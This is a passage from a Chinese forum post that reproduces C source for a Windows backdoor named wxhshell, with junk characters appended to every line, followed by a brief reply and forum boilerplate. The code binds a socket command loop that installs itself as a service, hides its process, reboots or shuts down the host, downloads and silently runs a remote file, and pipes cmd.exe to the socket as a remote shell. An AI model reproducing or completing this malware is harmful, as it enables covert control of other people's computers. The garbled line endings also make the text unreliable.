  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [S0mY["  
  if(DownloadFile(cmd,wsh)) !D;c,{Oz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A&%Cwj  
  else G|*G9nQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7&foEJ3q  
  } ot }6D  
  else { QZ~0o7  
;{gT=,KQ`  
    switch(cmd[0]) { O1'K>teF%  
  Kp&3=e;vn{  
  // 帮助 0sh~I  
  case '?': { E30Z`$cz:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iD714+N(  
    break; R$d7\nBG  
  } P#;Th8k{K2  
  // 安装 kC`Rd:5  
  case 'i': { zN")elBi  
    if(Install()) =) }nLS3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V^sc1ak1Q  
    else P,ydt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/*,N&^  
    break; NbkK&bz  
    } ;A"\?i Q  
  // 卸载 G "brT5:  
  case 'r': { >f@ G>H)+  
    if(Uninstall()) 9yL6W'B!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ET& VV  
    else oM-[B h]A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sc_5FX\Yx  
    break; D5L{T+}Oi%  
    } i*CnoQH  
  // 显示 wxhshell 所在路径 5\'AD^{  
  case 'p': { d.AC%&W  
    char svExeFile[MAX_PATH]; esI'"hVJ  
    strcpy(svExeFile,"\n\r"); Ww`&i  
      strcat(svExeFile,ExeFile); (f>M &..  
        send(wsh,svExeFile,strlen(svExeFile),0); n[CoS  
    break; :tbd,Uo  
    } 2(+P[(N1,  
  // 重启 r6 }_H?j  
  case 'b': { X~L!e}Rz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~OCZz$qA  
    if(Boot(REBOOT)) H+x#gK2l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmDT +$s  
    else { +`}o,z/^  
    closesocket(wsh); N2FbrfNFa  
    ExitThread(0); %*K;np-q{  
    } 1tGgDbJU  
    break; MI*Sq\-i  
    } _ZyT3P&  
  // 关机 u"Y]P*[k  
  case 'd': { Nfaf;;J}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [K:29N9~4  
    if(Boot(SHUTDOWN)) 'RLOV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CXAVGO'xw  
    else { |}Ph"g2D,  
    closesocket(wsh); &,MFB  
    ExitThread(0); m\-PU z&C  
    } -_>.f(1  
    break; moG~S]  
    } !\x?R6K  
  // 获取shell U=m=1FYaG  
  case 's': { m&/=&S  
    CmdShell(wsh); ~kb{K;  
    closesocket(wsh); Uk'U?9O  
    ExitThread(0); vpLMhf`  
    break; R=$Ls6z  
  } Qxq-Mpx{  
  // 退出 h<NRE0-  
  case 'x': { nzuF]vo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xS+rHC  
    CloseIt(wsh); ~Z/7pP+  
    break; "% Y u wMY  
    } u"FjwF?  
  // 离开 "b%FmM  
  case 'q': { 0( //D;j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WeVi] n  
    closesocket(wsh); : Ss3ck*=  
    WSACleanup(); n)RM+g  
    exit(1); 3U;1D2"AE  
    break; kUbnVF5'  
        } CDCC1BG"  
  } 2f..sNz  
  } RxG^  
z<<Tk.65  
  // 提示信息 Gru ALx7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c;!9\1sr  
} 3.),bm  
  } - _t&+5]  
RL&lKHA  
  return; Zi{0-m6+  
} ?\ Q0kr.T%  
 AP w6  
// shell模块句柄 {ERjeuDm]  
int CmdShell(SOCKET sock) ],&\%jd<  
{ ])N%^Qe$U  
STARTUPINFO si; % wL,v.}  
ZeroMemory(&si,sizeof(si)); .@k*p>K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KyLp?!|>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MZ~.(&  
PROCESS_INFORMATION ProcessInfo; Pfan7fq+  
char cmdline[]="cmd"; TB#N k5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zH=hI Vc  
  return 0; w~N-W8xNR  
} j)L1H* S%  
/s`;9)G]9  
// 自身启动模式 %g w{[ /[A  
int StartFromService(void) 7#pZa.B)k  
{ }4h0bI  
typedef struct ym%o}( v-  
{ d~`-AC+  
  DWORD ExitStatus; W4vBf^eC  
  DWORD PebBaseAddress; RIjM(P  
  DWORD AffinityMask; D]u=PqHk2  
  DWORD BasePriority; *P xf#X  
  ULONG UniqueProcessId; #T"64%dX  
  ULONG InheritedFromUniqueProcessId; QJSr:dP4dG  
}   PROCESS_BASIC_INFORMATION; (\vXA4Oa,  
. r `[  
PROCNTQSIP NtQueryInformationProcess; c<tmj{$  
:e2X/tl#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oEIqA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y iZx{5  
) b:4uK A  
  HANDLE             hProcess; 5f_7&NxT  
  PROCESS_BASIC_INFORMATION pbi; @vAFfYU9<.  
bn-=fb(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x'i0KF   
  if(NULL == hInst ) return 0; #LWg"i  
a))*F!}c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <25ccE9^c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &7Kb]Ti  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g1V)$s 7  
s0!kwrBsp  
  if (!NtQueryInformationProcess) return 0; voh^|(:(TH  
J]\^QMX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^PQM;"  
  if(!hProcess) return 0; os**hFPk;1  
O`(U/?   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EfKntrom[  
j^ I!6j=ZX  
  CloseHandle(hProcess); +-ewE-:|L  
z!Hx @){|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8ds}+TtbY  
if(hProcess==NULL) return 0; )X%oXc&C|  
P` ]ps?l  
HMODULE hMod; qTy v.#{y  
char procName[255]; KPggDKS  
unsigned long cbNeeded; 2sun=3qb  
NCDxcz;Gb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^c'f<<z|7r  
$W,zO|-  
  CloseHandle(hProcess); veO?k.u(  
Z= ik{/  
if(strstr(procName,"services")) return 1; // 以服务启动 f4 O]`U  
6[+j'pW?  
  return 0; // 注册表启动 PbN3;c3  
} {AgBwBCE  
,qu:<  
// 主模块 s41adw>  
int StartWxhshell(LPSTR lpCmdLine) ]-Lruq#  
{ }!B.K^@)  
  SOCKET wsl; y5%5O xB  
BOOL val=TRUE; m1y `v"  
  int port=0; +{*)}[w{x  
  struct sockaddr_in door; qc&jd  
Gh+f1)\FA"  
  if(wscfg.ws_autoins) Install(); r?$ &Z^  
acae=c|X  
port=atoi(lpCmdLine); zq=&4afOE  
JWWInuH  
if(port<=0) port=wscfg.ws_port; {*fUJmao"  
Bac|;+L~L  
  WSADATA data; T 9MzUV&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UM\}aq=,  
#JFYws  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'M-)Os "  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Y[/!  
  door.sin_family = AF_INET; 0%H24N 9.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }VZM,.w  
  door.sin_port = htons(port); 6 >uQt:e  
453 }S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GGM5m|4  
closesocket(wsl); X+*<B(E  
return 1; %ET # z!  
} WL/5 oj  
R#LGFXUj  
  if(listen(wsl,2) == INVALID_SOCKET) { i'iO H|s  
closesocket(wsl); g-|Kyhr?=  
return 1; Z9f/-|r5  
} Yx 3|G  
  Wxhshell(wsl); "$P'Wv  
  WSACleanup(); q|Fjm]AF  
 +Lhe,  
return 0; PJ;.31u  
6kR -rA  
} Rv,Mu3\~#c  
->3uOF!q  
// 以NT服务方式启动 F {/>u(@3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !G[f[u4Zg  
{ *?p ^6vO  
DWORD   status = 0; $r):d  
  DWORD   specificError = 0xfffffff; Lz?*B$h  
bw0 20@O*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z,SY N?@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (H2ylMpQt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GI?PGAT  
  serviceStatus.dwWin32ExitCode     = 0; Eo Ko   
  serviceStatus.dwServiceSpecificExitCode = 0; YQx?* gZS  
  serviceStatus.dwCheckPoint       = 0; 1]Lhk?4t  
  serviceStatus.dwWaitHint       = 0; BPh".RJ  
$8Ig&k|~8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~;!BDLMC6  
  if (hServiceStatusHandle==0) return; V07VwVD  
Yfe'#MKfL  
status = GetLastError(); P*7S3Td  
  if (status!=NO_ERROR) 73VQ@J n  
{ #1B}-PGCm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Enu!u~1]F  
    serviceStatus.dwCheckPoint       = 0; hAlPl<BO#V  
    serviceStatus.dwWaitHint       = 0; m|lM.]2_  
    serviceStatus.dwWin32ExitCode     = status; ]  ~'9  
    serviceStatus.dwServiceSpecificExitCode = specificError; HmW=t}!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <c(&T<$  
    return; aj?2jU~Pq  
  } 8<Xq=*J+  
}a' cm!"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .Jptj  
  serviceStatus.dwCheckPoint       = 0; gU+ss  
  serviceStatus.dwWaitHint       = 0; WqR7uiCi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); el}hcAY/RP  
} X:U=MWc>  
tg3zXJ4k_  
// 处理NT服务事件,比如:启动、停止 [z^Od  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o>.AdZby  
{ 2G ZF/9}  
switch(fdwControl) K[e`t%2_  
{ xUIvLH=  
case SERVICE_CONTROL_STOP: gt~9"I  
  serviceStatus.dwWin32ExitCode = 0; LNaeB(z"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C0gfJ~M )  
  serviceStatus.dwCheckPoint   = 0; ^u3*hl}YKy  
  serviceStatus.dwWaitHint     = 0; 'frWu6]< 4  
  { q?(A!1(u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M^_Z#|,  
  } xUQdVrFU  
  return; '^e0Ud,  
case SERVICE_CONTROL_PAUSE: hI*`>9l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |y klT  
  break; 'y< t/qo  
case SERVICE_CONTROL_CONTINUE: bB y'v/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hH#lTye  
  break; pa> p%  
case SERVICE_CONTROL_INTERROGATE: axOi 5  
  break; $y8mK|3.3u  
}; &ycjSBK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0T(O'v}.  
} E1#H{)G  
K4_~ruhr  
// 标准应用程序主函数 N`f!D>b:dn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rq"VB.ef&{  
{ dJloH)uJZ>  
0 4P.p6  
// 获取操作系统版本  c^rC8E  
OsIsNt=GetOsVer(); *U :VM'a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GahaZ F  
S>.q 5  
  // 从命令行安装 UVz=QEuYb  
  if(strpbrk(lpCmdLine,"iI")) Install(); =sxkrih  
J 0&zb'1  
  // 下载执行文件 Tc9&mKVE%(  
if(wscfg.ws_downexe) { ,?Ok[G!cm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TFNUv<>X  
  WinExec(wscfg.ws_filenam,SW_HIDE); j[_t6Z  
} )uANmThOz  
_MGNKA6JI  
if(!OsIsNt) { ;9}w|!/  
// 如果时win9x,隐藏进程并且设置为注册表启动  o1 jk=  
HideProc(); ,<7"K&  
StartWxhshell(lpCmdLine); <_=JMA5  
} ]gH wfqx  
else XAw2X;F%  
  if(StartFromService()) nWKO8C>  
  // 以服务方式启动 "(Mvl1^BT  
  StartServiceCtrlDispatcher(DispatchTable); >s;oOo+5  
else iz Xbp02  
  // 普通方式启动 ${wU+E*  
  StartWxhshell(lpCmdLine); Ga]47pQ"F  
d#E(~t(^  
return 0; `Q:de~+AM{  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八